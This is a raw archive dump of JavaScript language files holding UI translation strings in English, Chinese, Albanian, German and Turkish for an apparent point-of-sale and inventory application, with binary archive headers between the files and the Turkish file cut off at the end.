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PK Q�Z�{��) ) en.jsnu �[��� LANG = { 'required': 'Required', 'sure': 'Are you sure ?', 'remove_product': 'Are you sure to remove the product?', 'cancel_invoice': 'Are you sure to cancel the invoice?', 'no_products': 'No products added', 'paid_amount_is_less_than_payable': 'Paid amount is less than the payable amount. \nPlease press OK to submit the sale.', 'paid_amount_is_more_than_payable': 'Paid amount is more than the payable amount. \nPlease check.', 'confirm_delete_role': 'This role will be deleted.', 'sku_already_exists': 'SKU already exists.', 'ref_no_already_exists': 'Reference number already used.', 'out_of_stock': 'Item out of stock', 'delete_invoice_confirm': 'This setting will be deleted.', 'add_name_as_new_customer': 'Add ":name" as new customer', 'today': 'Today', 'yesterday': 'Yesterday', 'last_7_days': 'Last 7 Days', 'last_30_days': 'Last 30 Days', 'this_month': 'This Month', 'last_month': 'Last Month', 'this_financial_year': 'Current financial year', 'clear': 'Clear', 'no_products_added': 'No Products added, add some products first', 'some_error_in_input_field': 'Invalid inputs, Check & try again!!', 'confirm_delete_expense_category': 'This category along with all expenses under this category will be deleted.', 'confirm_delete_expense': 'This expense will be deleted.', 'confirm_delete_payment': 'This payment will be deleted.', 'confirm_delete_user': 'This user will be deleted', 'confirm_delete_contact': 'This contact will be deleted', 'confirm_delete_variation': "This variation along with all it's values will be deleted.", 'confirm_tax_group': 'This tax group will be deleted.', 'confirm_delete_category': 'This category along with all sub-categories under it will be deleted.', 'confirm_delete_unit': 'This unit will be deleted.', 'confirm_delete_tax_rate': 'This tax rate will be deleted.', 'confirm_delete_brand': 'This brand will be deleted.', 'confirm_delete_barcode': 'This barcode setting will be deleted.', 'add_name_as_new_product': 'Add ":term" as new product', 'no_products_found': 'No matching product found!', 'cancel': 'Cancel', 'ok': 'OK', 'view_stock_details': 'View stock for each variation', 'tour_step1_title': 'Application Tour', 'tour_step1_content': "Let's go through the application in 7 quick steps..." , 'tour_step2_title': 'Step1: Shop Details', 'tour_step2_content':'Here you can find your shop related information, Basic information, Product SKU, Discounts, Taxes & other settings.', 'tour_step3_title': 'Step2: Adding Resources', 'tour_step4_title': 'Step3: Suppliers & Customers', 'tour_step4_content': 'All Suppliers & Customers for your shop.', 'tour_step5_title': 'Step4: Manage Products', 'tour_step6_title': 'Step5: Manage Purchases', 'tour_step6_content': 'Manage Purchases and Payment for purchases.', 'tour_step7_title': 'Step6: Manage Sales', 'tour_step7_content': 'Sell -> POS, Use this screen while selling products or billing customer. Select Location, Add Products and Finalize it.', 'tour_step8_title': 'Step7: Reports', 'tour_step8_content':'View analytic reports for your shop. These reports help you get overall information about the performance of your business.', 'label_no_product_error': 'Please, add atleast one product.', 'confirm_delete_customer_group': 'This customer group will be deleted.', 'prev': 'Prev', 'next': 'Next', 'end_tour': 'End tour', 'inc_tax': 'Inc. Tax', 'exc_tax': 'Exc. Tax', 'file_browse_label': 'Browse..', 'remove': 'Remove', 'apply': 'Apply', 'custom_range': 'Custom Range', 'action': 'Action', 'copy': 'Copy', 'export_to_csv': 'Export CSV', 'export_to_excel': 'Export Excel', 'export_to_pdf': 'Export PDF', 'print': 'Print', 'col_vis': 'Column visibility', 'search': 'Search', 'show': 'Show', 'entries': 'entries', 'table_emptyTable':'No data available in table', 'table_info':'Showing _START_ to _END_ of _TOTAL_ entries', 'table_infoEmpty':'Showing 0 to 0 of 0 entries', 'table_loadingRecords':'Loading...', "table_processing": "Processing...", "table_zeroRecords": "No matching records found", "first": "First", "last": "Last", "previous": "Previous", 'contact_id_already_exists': 'Contact ID alredy exists', 'register': 'Register', 'specify_business_name': "Please specify your business name", 'password_min_length': 'Password should be minimum 4 characters', 'password_mismatch': 'Password Mismatched', 'invalid_username': 'Invalid username or User already exist', 'details': 'Details', 'select_location': 'You must select location before selecting any products.', 'location_id_already_exists': 'Location ID already exists', 'add_name_as_new_supplier': 'Add ":name" as new supplier', 'all': 'All', 'filter_by_date': 'Filter by date', 'form_will_get_reset': 'All added products will be removed.', 'tour_step3_content_modified': 'Add Multiple Locations, Tax Rates, Invoice Settings for your shop.', 'tour_step5_content_modified': 'Add Products - Simple or Variable Products <br> Create Variations for variable products <br> Create Units, Brands and Categories <br> Print labels', 'pos_max_qty_error': 'Only :max_val :unit_name available', 'lot_max_qty_error': 'Only :max_val :unit_name available in the selected Lot', 'email_taken': 'This Email has already been taken.', 'loading': 'Loading', 'load_more': 'Load More', 'mobile': 'Mobile', 'something_went_wrong': 'Something went wrong', 'max_rp_reached_error': 'Maximum :max_points :rp_name available', 'min_order_total_error': 'Minimum order total should be :min_order to redeem :rp_name', 'this_year': 'This Year', 'last_year': 'Last Year', 'last_financial_year': 'Last financial year', 'this_month_last_year': 'This month last year', 'edit' : 'Edit', 'delete' : 'Delete', 'view' : 'View', 'customer' : 'Customer', 'this_card_has_a_due_date' : 'This card has a due date', 'this_card_has_a_end_date' : 'This card has a end date', 'this_card_has_a_description' : 'This card has a description', 'this_card_has_comments' : 'This card has comments', 'more' : ' more', 'lead' : 'Lead', 'project' : 'Project', 'overview' : 'Overview', 'activities' : 'Activities', 'task' : 'Task', 'time_logs' : 'Time Logs', 'documents_and_notes' : 'Documents & Note', 'invoices': 'Invoices', 'settings' : 'Settings', 'advance_payment_cannot_be_more_than_once': 'Advance payment cannot be selected more than once', 'not_connected_to_a_network': "You're not connected to a Network", 'skus_already_exists': 'sku :sku already exists', 'copied_to_clipboard': 'Copied to clipboard', 'enter_pin_here': 'Enter Pin Here', 'authentication_failed': 'Authentication failed !', 'authentication_successfull': 'Authentication successfull', 'please_enter' : 'Please enter ', 'or_more_characters' : 'or more characters', };PK Q�Z� ]-� � ce.jsnu �[��� LANG = { 'required': '必需的', 'sure': '你确定吗 ？', 'remove_product': '您确定要删除产品吗？', 'cancel_invoice': '您确定要取消发票吗？', 'no_products': '未添加产品', 'paid_amount_is_less_than_payable': '已付金额小于应付金额。 \n请按确定提交销售。', 'paid_amount_is_more_than_payable': '支付金额多于应付金额。 \n请检查。', 'confirm_delete_role': '这个角色将被删除。', 'sku_already_exists': 'SKU 已经存在。', 'ref_no_already_exists': '参考号已使用。', 'out_of_stock': '商品缺货', 'delete_invoice_confirm': '此设置将被删除。', 'add_name_as_new_customer': '添加 ":name" 作为新客户', 'today': '今天', 'yesterday': '昨天', 'last_7_days': '过去 7 天', 'last_30_days': '过去 30 天', 'this_month': '这个月', 'last_month': '上个月', 'this_financial_year': '当前财政年度', 'clear': '清除', 'no_products_added': '没有添加产品，先添加一些产品', 'some_error_in_input_field': '无效的输入，检查并重试！！', 'confirm_delete_expense_category': '此类别连同此类别下的所有费用将被删除。', 'confirm_delete_expense': '这笔费用将被删除。', 'confirm_delete_payment': '这笔付款将被删除。', 'confirm_delete_user': '此用户将被删除', 'confirm_delete_contact': '此联系人将被删除', 'confirm_delete_variation': '这个变体连同它的所有值都将被删除。', 'confirm_tax_group': '此税组将被删除。', 'confirm_delete_category': '此类别及其下的所有子类别将被删除。', 'confirm_delete_unit': '此单元将被删除。', 'confirm_delete_tax_rate': '这个税率将被删除。', 'confirm_delete_brand': '该品牌将被删除。', 'confirm_delete_barcode': '此条码设置将被删除。', 'add_name_as_new_product': '添加 ":term" 作为新产品', 'no_products_found': '没有找到匹配的产品！', 'cancel': '取消', 'ok': '好的', 'view_stock_details': '查看每个变体的库存', 'tour_step1_title': '应用之旅', 'tour_step1_content': '让我们通过 7 个快速步骤完成应用程序......', 'tour_step2_title': 'Step1: 店铺详情', 'tour_step2_content': '在这里你可以找到你的店铺相关信息、基本信息、产品SKU、折扣、税收和其他设置。', 'tour_step3_title': 'Step2: 添加资源', 'tour_step4_title': '第 3 步：供应商和客户', 'tour_step4_content': '您商店的所有供应商和客户。', 'tour_step5_title': 'Step4: 管理产品', 'tour_step6_title': 'Step5: 管理采购', 'tour_step6_content': '管理购买和购买付款。', 'tour_step7_title': '第6步：管理销售', 'tour_step7_content': '销售 -> POS，在销售产品或向客户计费时使用此屏幕。选择位置，添加产品并完成它。', 'tour_step8_title': '第7步：报告', 'tour_step8_content': '查看您商店的分析报告。这些报告可帮助您获得有关业务绩效的总体信息。', 'label_no_product_error': '请添加至少一种产品。', 'confirm_delete_customer_group': '此客户组将被删除。', 'prev': '上一个', 'next': '下一个', 'end_tour': '结束旅行', 'inc_tax': '公司。税', 'exc_tax': '除外。税', 'file_browse_label': '浏览..', 'remove': '消除', 'apply': '申请', 'custom_range': '自定义范围', 'action': '行动', 'copy': '复制', 'export_to_csv': '导出为 CSV', 'export_to_excel': '导出到 Excel', 'export_to_pdf': '导出为 PDF', 'print': '打印', 'col_vis': '列可见性', 'search': '搜索', 'show': '显示', 'entries': '条目', 'table_emptyTable': '表中没有可用数据', 'table_info': '显示 _START_ 到 _END_ 个条目，共 _TOTAL_ 个条目', 'table_infoEmpty': '显示 0 到 0 个条目，共 0 个条目', 'table_loadingRecords': '正在加载...', 'table_processing': '加工...', 'table_zeroRecords': '没有找到匹配的记录', 'first': '第一的', 'last': '最后的', 'previous': '以前的', 'contact_id_already_exists': '联系人 ID 已存在', 'register': '登记', 'specify_business_name': '请注明您的公司名称', 'password_min_length': '密码应至少为 4 个字符', 'password_mismatch': '密码不匹配', 'invalid_username': '无效的用户名或用户已存在', 'details': '细节', 'select_location': '您必须在选择任何产品之前选择一个位置。', 'location_id_already_exists': '位置 ID 已存在', 'add_name_as_new_supplier': '添加 ":name" 作为新供应商', 'all': '全部', 'filter_by_date': '按日期过滤', 'form_will_get_reset': '所有添加的产品都将被删除。', 'tour_step3_content_modified': '为您的商店添加多个地点、税率、发票设置。', 'tour_step5_content_modified': '添加产品 - 简单或可变产品 <br> 为可变产品创建变体 <br> 创建单位、品牌和类别 <br> 打印标签', 'pos_max_qty_error': '只有 :max_val :unit_name 可用', 'lot_max_qty_error': '仅 :max_val :unit_name 在所选批次中可用', 'email_taken': '此电子邮件已被占用。', 'loading': '加载', 'load_more': '装载更多', 'mobile': '移动的', 'something_went_wrong': '出问题了', 'max_rp_reached_error': '最大 :max_points :rp_name 可用', 'min_order_total_error': '最低订单总额应为 :min_order 以赎回 :rp_name', 'this_year': '今年', 'last_year': '去年', 'last_financial_year': '上一个财政年度', 'this_month_last_year': '去年这个月', 'edit': '编辑', 'delete': '删除', 'view': '看法', 'customer': '顾客', 'this_card_has_a_due_date': '这张卡有截止日期', 'this_card_has_a_end_date': '这张卡有一个结束日期', 'this_card_has_a_description': '这张卡有描述', 'this_card_has_comments': '这张卡片有评论', 'more': ' 更多的', 'lead': '带领', 'project': '项目', 'overview': '概述', 'activities': '活动', 'task': '任务', 'time_logs': '时间日志', 'documents_and_notes': '文件和笔记', 'invoices': '发票', 'settings': '设置', 'advance_payment_cannot_be_more_than_once': '不能多次选择预付款', 'not_connected_to_a_network': '您没有连接到网络', 'enter_pin_here': '在这里输入PIN', 'authentication_failed': '认证失败！', 'authentication_successfull': '认证成功', 'please_enter' : 'Vui lòng nhập', 'or_more_characters' : 'hoặc nhiều hơn ký tự', };PK Q�Z�pNt� � sq.jsnu �[��� LANG = { "required": "Kërkohet", "sure": "A je i sigurt ?", "remove_product": "Jeni i sigurt për ta hequr produktin?", "cancel_invoice": "Jeni i sigurt për të anuluar faturën?", "no_products": "Asnjë produkt nuk është shtuar", "paid_amount_is_less_than_payable": "Shuma e paguar është më e vogël se shuma e pagueshme. \n Ju lutem shtypni OK për të dorëzuar shitjen.", "paid_amount_is_more_than_payable": "Shuma e paguar është më shumë se shuma e pagueshme. \ nJu lutemi kontrolloni.", "confirm_delete_role": "Ky rol do të fshihet.", "sku_already_exists": "SKU tashmë ekziston.", "ref_no_already_exists": "Numri i referencës që tashmë është përdorur.", "out_of_stock": "Artikuj jashtë magazinës", "delete_invoice_confirm": "Kjo vendosje do të fshihet.", "add_name_as_new_customer": "Shto :name si klient të ri", "today": "Sot", "yesterday": "Dje", "last_7_days": "7 ditët e fundit", "last_30_days": "30 ditët e fundit", "this_month": "Këtë muaj", "last_month": "Muajin e kaluar", "this_financial_year": "Viti financiar i tanishëm", "clear": "Qartë", "no_products_added": "Asnjë Produkt nuk është shtuar, shtoni disa produkte së pari", "some_error_in_input_field": "Inputet e pavlefshme, Kontrollo dhe provo përsëri !!", "confirm_delete_expense_category": "Kjo kategori së bashku me të gjitha shpenzimet sipas kësaj kategorie do të fshihen.", "confirm_delete_expense": "Ky shpenzim do të fshihet.", "confirm_delete_payment": "Kjo pagesë do të fshihet.", "confirm_delete_user": "Ky përdorues do të fshihet", "confirm_delete_contact": "Ky kontakt do të fshihet", "confirm_delete_variation": "Ky ndryshim së bashku me të gjitha vlerat e tij do të fshihen.", "confirm_tax_group": "Ky grup taksash do të fshihet.", "confirm_delete_category": "Kjo kategori së bashku me të gjitha nën-kategoritë nën të do të fshihen.", "confirm_delete_unit": "Kjo njësi do të fshihet.", "confirm_delete_tax_rate": "Kjo normë tatimore do të fshihet.", "confirm_delete_brand": "Kjo markë do të fshihet.", "confirm_delete_barcode": "Ky cilësim i barcode do të fshihet.", "add_name_as_new_product": "Shto:term si produkt i ri", "no_products_found": "Asnjë produkt i përputhshëm nuk u gjet!", "cancel": "Cancel", "ok": "NE RREGULL", "view_stock_details": "Shikoni aksionet për secilën ndryshim", "tour_step1_title": "Aplikacion Tour", "tour_step1_content": "Le të kalojmë përmes aplikacionit në 7 hapa të shpejtë ...", "tour_step2_title": "Hap 1: Detajet e Dyqanit", "tour_step2_content": "Këtu mund të gjeni informacionin tuaj lidhur me dyqanin, informacionin bazë, SKU-në e produktit, zbritjet, taksat dhe cilësimet e tjera.", "tour_step3_title": "2. Shtimi i burimeve", "tour_step4_title": "Etapa 3: Furnizuesit dhe Konsumatorët", "tour_step4_content": "Të gjithë furnizuesit dhe klientët për dyqanin tuaj.", "tour_step5_title": "Hapi 4: Menaxho produktet", "tour_step6_title": "Hapi 5: Menaxho Blerjet", "tour_step6_content": "Menaxho blerjet dhe pagesat për blerjet.", "tour_step7_title": "Hapi 6: Manage Sales", "tour_step7_content": "Sell -> POS, Përdorni këtë ekran duke shitur produktet ose konsumatorët e faturimit. Zgjidh vendndodhjen, shtoni produktet dhe përfundojeni.", "tour_step8_title": "Hapi7: Raportet", "tour_step8_content": "Shikoni raporte analitike për dyqanin tuaj. Këto raporte ju ndihmojnë të merrni informacion të përgjithshëm rreth performancës së biznesit tuaj.", "label_no_product_error": "Ju lutem, shtoni atleast një produkt.", "confirm_delete_customer_group": "Ky grup klientësh do të fshihet.", "prev": "I mëparshëm", "next": "Next", "end_tour": "Fundi i turneut", "inc_tax": "Përfshirë Tatimin", "exc_tax": "Përjashtuar Tatimin", "file_browse_label": "Browse ..", "remove": "Remove", "apply": "Aplikoni", "custom_range": "Gama e personalizuar", "action": "Veprimi", "copy": "Copy", "export_to_csv": "Eksporto në CSV", "export_to_excel": "Eksporto në Excel", "export_to_pdf": "Eksporto në PDF", "print": "Print", "col_vis": "Visibility Column", "search": "Kërko", "show": "Shfaqje", "entries": "hyra", "table_emptyTable": "Nuk ka të dhëna në tabelë", "table_info": "Duke treguar _START_ me _END_ e _TOTAL_ entries", "table_infoEmpty": "Duke shfaqur 0 deri në 0 nga 0 hyrje", "table_loadingRecords": "Loading ...", "table_processing": "Përpunimi ...", "table_zeroRecords": "Nuk u gjetën rekorde të përputhshme", "first": "Së pari", "last": "Last", "previous": "I mëparshëm", "contact_id_already_exists": "Kontakt ID tashmë ekziston", "register": "Regjistrohu", "specify_business_name": "Ju lutemi specifikoni emrin e biznesit tuaj", "password_min_length": "Fjalëkalimi duhet të jetë minimum 4 karaktere", "password_mismatch": "Mismatch fjalëkalimi", "invalid_username": "Emri i përdoruesit ose Emri i pavlefshëm tashmë ekziston", 'details': 'detalet', 'select_location': 'Ju duhet të zgjidhni vendndodhjen përpara se të zgjidhni ndonjë produkt.', 'location_id_already_exists': 'Identifikimi i vendndodhjes tashmë ekziston', 'add_name_as_new_supplier': 'Shto ":name" si furnizues i ri', 'all': 'të gjithë', 'filter_by_date': 'Filtro sipas datës', 'form_will_get_reset': 'Të gjitha produktet e shtuara do të hiqen.', 'tour_step3_content_modified': 'Shto vendndodhje të shumëfishta, tarifa tatimore, rregullime fature për dyqanin tuaj.', 'tour_step5_content_modified': 'Shto produkte - produkte të thjeshta ose të ndryshueshme <br> Krijo ndryshime për prodhimet e ndryshueshme <br> Krijo njësi, prodhime dhe kategori <br> Printoni etiketat', "pos_max_qty_error": "Vetëm :max_val :unit_name në dispozicion", "lot_max_qty_error": "Vetëm :max_val :unit_name në dispozicion në Lot e zgjedhur", "email_taken": "Kjo Email është marrë tashmë.", "loading": "Loading", "load_more": "Load More", "mobile": "Mobile", "something_went_wrong": "Dicka shkoi keq", "max_rp_reached_error": "Maksimumi :max_points :rp_name në dispozicion", "min_order_total_error": "Totali i porosisë minimale duhet të jetë :min_order për të riblerur :rp_name", "this_year": "Kete vit", "last_year": "Vitin e kaluar", "last_financial_year": "Viti i fundit financiar", "this_month_last_year": "Këtë muaj vitin e kaluar", 'enter_pin_here': 'Vendosni PIN-in këtu', 'authentication_failed': 'Autentikimi dështoi!', 'authentication_successfull': 'Autentikimi u krye me sukses', 'please_enter' : 'Ju lutem shkruani', 'or_more_characters' : 'ose më shumë karaktere' };PK Q�Z(�il de.jsnu �[��� LANG = { "required": "Erforderlich", "sure": "Bist du sicher ?", "remove_product": "Sind Sie sicher, dass Sie das Produkt entfernen?", "cancel_invoice": "Sind Sie sicher, dass Sie die Rechnung stornieren?", "no_products": "Keine Produkte hinzugefügt", "paid_amount_is_less_than_payable": "Der bezahlte Betrag ist niedriger als der zu zahlende Betrag. \n Bitte drücken Sie OK, um den Verkauf zu bestätigen.", "paid_amount_is_more_than_payable": "Der bezahlte Betrag ist mehr als der zu zahlende Betrag. \ nBitte überprüfen Sie.", "confirm_delete_role": "Diese Rolle wird gelöscht.", "sku_already_exists": "SKU existiert bereits.", "ref_no_already_exists": "Referenznummer bereits verwendet.", "out_of_stock": "Artikel nicht vorrätig", "delete_invoice_confirm": "Diese Einstellung wird gelöscht.", "add_name_as_new_customer": "Hinzufügen :name als neuer Kunde", "today": "Heute", "yesterday": "Gestern", "last_7_days": "Letzten 7 Tage", "last_30_days": "Letzte 30 Tage", "this_month": "Diesen Monat", "last_month": "Im vergangenen Monat", "this_financial_year": "Aktuelles Geschäftsjahr", "clear": "Klar", "no_products_added": "Keine Produkte hinzugefügt, fügen Sie zuerst einige Produkte hinzu", "some_error_in_input_field": "Ungültige Eingaben, Prüfen & erneut versuchen !!", "confirm_delete_expense_category": "Diese Kategorie sowie alle Ausgaben in dieser Kategorie werden gelöscht.", "confirm_delete_expense": "Diese Ausgabe wird gelöscht.", "confirm_delete_payment": "Diese Zahlung wird gelöscht.", "confirm_delete_user": "Dieser Benutzer wird gelöscht", "confirm_delete_contact": "Dieser Kontakt wird gelöscht", "confirm_delete_variation": "Diese Variation wird zusammen mit allen Werten gelöscht.", "confirm_tax_group": "Diese Steuergruppe wird gelöscht.", "confirm_delete_category": "Diese Kategorie wird zusammen mit allen darunter liegenden Unterkategorien gelöscht.", "confirm_delete_unit": "Diese Einheit wird gelöscht.", "confirm_delete_tax_rate": "Dieser Steuersatz wird gelöscht.", "confirm_delete_brand": "Diese Marke wird gelöscht.", "confirm_delete_barcode": "Diese Barcode-Einstellung wird gelöscht.", "add_name_as_new_product": "Hinzufügen :term als neues Produkt", "no_products_found": "Kein passendes Produkt gefunden!", "cancel": "Stornieren", "ok": "OK", "view_stock_details": "Bestand für jede Variation anzeigen", "tour_step1_title": "Anwendungstour", "tour_step1_content": "Lass uns in 7 schnellen Schritten durch die Anwendung gehen ...", "tour_step2_title": "Schritt 1: Geschäftsdetails", "tour_step2_content": "Hier finden Sie Informationen zu Ihrem Shop, grundlegende Informationen, Produkt-Artikel, Rabatte, Steuern und andere Einstellungen.", "tour_step3_title": "Schritt2: Hinzufügen von Ressourcen", "tour_step3_content": "Fügen Sie Marken, Steuersätze, Einheiten und Kategorien für Ihren Shop hinzu.", "tour_step4_title": "Schritt 3: Lieferanten & Kunden", "tour_step4_content": "Alle Lieferanten und Kunden für Ihr Geschäft.", "tour_step5_title": "Schritt 4: Produkte verwalten", "tour_step5_content": "Produkte hinzufügen - einfache oder variable Produkte, Änderungsvorlagen für variable Produkte erstellen und Etiketten drucken.", "tour_step6_title": "Schritt 5: Einkäufe verwalten", "tour_step6_content": "Einkäufe und Zahlungen für Einkäufe verwalten", "tour_step7_title": "Schritt 6: Verkauf verwalten", "tour_step7_content": "Verkauf -> POS, Verwenden Sie diesen Bildschirm, während Sie Produkte verkaufen oder Kunden abrechnen. Wählen Sie Standort , Produkte hinzufügen und Abschließen ", "tour_step8_title": "Schritt 7: Berichte", "tour_step8_content": "Analyseberichte für Ihr Geschäft anzeigen. Diese Berichte helfen Ihnen, umfassende Informationen über die Leistung Ihres Unternehmens zu erhalten.", "label_no_product_error": "Bitte fügen Sie mindestens ein Produkt hinzu.", "confirm_delete_customer_group": "Diese Kundengruppe wird gelöscht.", "prev": "Bisherige", "next": "Nächster", "end_tour": "Endtour", "inc_tax": "Steuern eingeschlossen", "exc_tax": "Steuer nicht inbegriffen", "file_browse_label": "Durchsuche..", "remove": "Löschen", "apply": "Sich bewerben", "custom_range": "Benutzerdefinierten Bereich", "action": "Aktion", "copy": "Kopieren", "export_to_csv": "Nach CSV exportieren", "export_to_excel": "Nach Excel exportieren", "export_to_pdf": "Als PDF exportieren", "print": "Drucken", "col_vis": "Spaltensichtbarkeit", "search": "Suche", "show": "Show", "entries": "Einträge", "table_emptyTable": "Keine Daten in der Tabelle verfügbar", "table_info": "Anzeigen von _START_ bis _END_ von _TOTAL_-Einträgen", "table_infoEmpty": "Zeige 0 bis 0 von 0 Einträgen", "table_loadingRecords": "Wird geladen...", "table_processing": "Wird bearbeitet...", "table_zeroRecords": "Keine übereinstimmenden Aufzeichnungen gefunden", "first": "Zuerst", "last": "Letzte", "previous": "Bisherige", "contact_id_already_exists": "Kontakt-ID existiert bereits", "register": "Registrieren", "specify_business_name": "Bitte geben Sie Ihren Firmennamen an", "password_min_length": "Passwort sollte mindestens 4 Zeichen lang sein", "password_mismatch": "Die Passwörter stimmen nicht überein", "invalid_username": "Ungültiger Benutzername oder Benutzer existiert bereits", 'details': 'Einzelheiten', 'select_location': 'Sie müssen den Standort auswählen, bevor Sie ein Produkt auswählen.', 'location_id_already_exists': 'Die Standort-ID ist bereits vorhanden', 'add_name_as_new_supplier': 'Füge ":name" als neuen Lieferanten hinzu', 'all': 'Alle', 'filter_by_date': 'Nach Datum filtern', 'form_will_get_reset': 'Alle hinzugefügten Produkte werden entfernt', 'tour_step3_content_modified': 'Mehrere Standorte, Steuersätze und Rechnungseinstellungen für Ihren Shop hinzufügen.', 'tour_step5_content_modified': 'Produkte hinzufügen - Einfache oder variable Produkte - Variationen für variable Produkte erstellen - Einheiten, Marken und Kategorien erstellen - Etiketten drucken', "pos_max_qty_error": "Nur :max_val :unit_name verfügbar", "lot_max_qty_error": "Nur :max_val :unit_name im ausgewählten Los verfügbar", "email_taken": "Diese E-Mail wurde bereits angenommen.", "loading": "Wird geladen", "load_more": "Mehr laden", "mobile": "Handy, Mobiltelefon", "something_went_wrong": "Etwas ist schief gelaufen", "max_rp_reached_error": "Maximum :max_points :rp_name available", "min_order_total_error": "Die Mindestbestellmenge sollte betragen :min_order to redeem :rp_name", "this_year": "Dieses Jahr", "last_year": "Vergangenes Jahr", "last_financial_year": "Letztes Geschäftsjahr", "this_month_last_year": "Diesen Monat im letzten Jahr", 'enter_pin_here': 'PIN hier eingeben', 'authentication_failed': 'Authentifizierung fehlgeschlagen!', 'authentication_successfull': 'Authentifizierung erfolgreich', 'please_enter' : 'Bitte eingeben', 'or_more_characters' : 'oder mehr Zeichen', };PK Q�ZW:֝{ { tr.jsnu �[��� LANG = { "required" : "Gereklidir", "sure" : "Emin misiniz ?", "remove_product" : "Ürünü çıkardığınızdan emin misiniz?", "cancel_invoice" : "Faturayı iptal ettiğinizden emin misiniz?", "no_products" : "Ürün eklenmedi", "paid_amount_is_less_than_payable" : "Ödenen tutar ödenen miktardan az. Satışı göndermek için lütfen Tamam'a basın.", "paid_amount_is_more_than_payable" : "Ödenen miktar, ödenen miktardan daha fazla. Lütfen kontrol edin.", "confirm_delete_role" : "Bu rol silinecek.", "sku_already_exists" : "SKU zaten var.", "ref_no_already_exists" : "Referans numarası zaten kullanılmış.", "out_of_stock" : "Stoktaki ürün", "delete_invoice_confirm" : "Bu ayar silinecek.", "add_name_as_new_customer" : ':name" yi yeni müşteri olarak ekle', "today" : "Bugün", "yesterday" : "Dün", "last_7_days" : "Son 7 gün", "last_30_days" : "Son 30 gün", "this_month" : "Bu ay", "last_month" : "Geçen ay", "this_financial_year" : "Cari mali yıl", "clear" : "Açık", "no_products_added" : "Hiçbir ürün eklenmedi, önce bazı ürünler ekleyin", "some_error_in_input_field" : "Geçersiz girişler, Kontrol et ve tekrar dene !!", "confirm_delete_expense_category" : "Bu kategori, bu kategori altındaki tüm harcamalarla birlikte silinecek.", "confirm_delete_expense" : "Bu gider silinecek.", "confirm_delete_payment" : "Bu ödeme silinecek.", "confirm_delete_user" : "Bu kullanıcı silinecek", "confirm_delete_contact" : "Bu kişi silinecek", "confirm_delete_variation" : "Tüm değerleri ile birlikte bu varyasyon silinecek.", "confirm_tax_group" : "Bu vergi grubu silinecek.", "confirm_delete_category" : "Bu kategori, altındaki tüm alt kategorilerle birlikte silinecek.", "confirm_delete_unit" : "Bu birim silinecek.", "confirm_delete_tax_rate" : "Bu vergi oranı silinecek.", "confirm_delete_brand" : "Bu marka silinecek.", "confirm_delete_barcode" : "Bu barkod ayarı silinecek.", "add_name_as_new_product" : " :term 'yi yeni ürün olarak ekle", "no_products_found" : "Eşleşen ürün bulunamadı!", "cancel" : "İptal etmek", "ok" : "TAMAM", "view_stock_details" : "Her varyasyon için stoğu görüntüle", "tour_step1_title" : "Uygulama Turu", "tour_step1_content" : "7 hızlı adımda uygulamaya geçelim ...", "tour_step2_title" : "Adım 1: Mağaza Detayları", "tour_step2_content" : "Burada dükkanla ilgili bilgileri, Temel bilgiler, Ürün SKU'su, İndirimler, Vergiler ve diğer ayarları bulabilirsiniz.", "tour_step3_title" : "Adım 2: Kaynak Ekleme", "tour_step4_title" : "Step3: Tedarikçiler ve Müşteriler", "tour_step4_content" : "Mağazanız için tüm Tedarikçiler ve Müşteriler.", "tour_step5_title" : "Adım 4: Ürünleri Yönet", "tour_step6_title" : "Adım 5: Satın Alma İşlemlerini Yönetin", "tour_step6_content" : "Satın Alma İşlemlerini ve Satın Alma İşlemlerini Yönetin.", "tour_step7_title" : "Adım 6: Satışları Yönet", "tour_step7_content" : "Sat -> POS, Ürünü satarken ya da fatura müşterisi olarak bu ekranı kullanın. Konum, Ürün Ekle ve Sonlandır'ı seçin.", "tour_step8_title" : "Adım 7: Raporlar", "tour_step8_content" : "Mağazanız için analitik raporları görüntüleyin. Bu raporlar, işletmenizin performansı hakkında genel bilgi edinmenize yardımcı olur.", "label_no_product_error" : "Lütfen en az bir ürün ekleyin.", "confirm_delete_customer_group" : "Bu müşteri grubu silinecek.", "prev" : "Önceki", "next" : "Sonraki", "end_tour" : "Turu bitir", "inc_tax" : "Inc Tax", "exc_tax" : "Hariç Vergisi", "file_browse_label" : "Araştır..", "remove" : "Kaldır", "apply" : "Uygulamak", "custom_range" : "Özel Seri", "action" : "Aksiyon", "copy" : "Kopyala", "export_to_csv" : "CSV’ye Aktar", "export_to_excel" : "Excel'e Aktar", "export_to_pdf" : "PDF'ye Aktar", "print" : "Yazdır", "col_vis" : "Sütun görünürlüğü", "search" : "Arama", "show" : "Göstermek", "entries" : "girdileri", "table_emptyTable" : "Tabloda veri yok", "table_info" : "_TOTAL_ girişinin _START_ - _END_ gösteriliyor", "table_infoEmpty" : "0 girdiden 0 - 0 gösteriliyor", "table_loadingRecords" : "Yükleniyor...", "table_processing" : "İşleme...", "table_zeroRecords" : "Hiçbir eşleşen kayıt bulunamadı", "first" : "İlk", "last" : "Son", "previous" : "Önceki", "contact_id_already_exists" : "İrtibat numarası alredy var", "register" : "Kayıt olmak", "specify_business_name" : "Lütfen işletme adınızı belirtin", "password_min_length" : "Şifre en az 4 karakter olmalı", "password_mismatch" : "Parola Uyumsuz", "invalid_username" : "Geçersiz kullanıcı adı veya Kullanıcı zaten var", "details" : "Ayrıntılar", "select_location" : "Herhangi bir ürün seçmeden önce yeri seçmelisiniz.", "location_id_already_exists" : "Konum kimliği zaten var", "add_name_as_new_supplier" : "Yeni tedarikçi olarak ':name' ekle", "all" : "Herşey", "filter_by_date" : "Tarihe göre filtrele", "form_will_get_reset" : "Tüm eklenen ürünler kaldırılacak.", "tour_step3_content_modified" : "Mağazanız için Birden Çok Konum, Vergi Oranı, Fatura Ayarı ekleyin.", "tour_step5_content_modified" : "Ürün Ekleme - Basit veya Değişken Ürünler <br> Değişken ürünler için Varyasyon Oluşturma <br> Birimler, Markalar ve Kategoriler Oluşturma <br> Etiketleri yazdırma", "pos_max_qty_error": "Sadece :max_val :unit_name mevcut", "lot_max_qty_error": "Seçilen Lotta sadece :max_val :unit_name mevcut", "email_taken": "Bu email zaten alınmış.", "loading": "Yükleniyor", "load_more": "Daha fazla yükle", "mobile": "Mobil", "something_went_wrong": "Bir şeyler yanlış gitti", "max_rp_reached_error": "Maksimum :max_points :rp_name kullanılabilir", "min_order_total_error": "Minimum sipariş toplamı itfa edilecek :min_order :rp_name", "this_year": "Bu yıl", "last_year": "Geçen yıl", "last_financial_year": "Son mali yıl", "this_month_last_year": "Geçen ay bu ay", 'enter_pin_here': "PIN'i Buraya Girin", 'authentication_failed': 'Kimlik doğrulama başarısız!', 'authentication_successfull': 'Kimlik doğrulama başarılı', 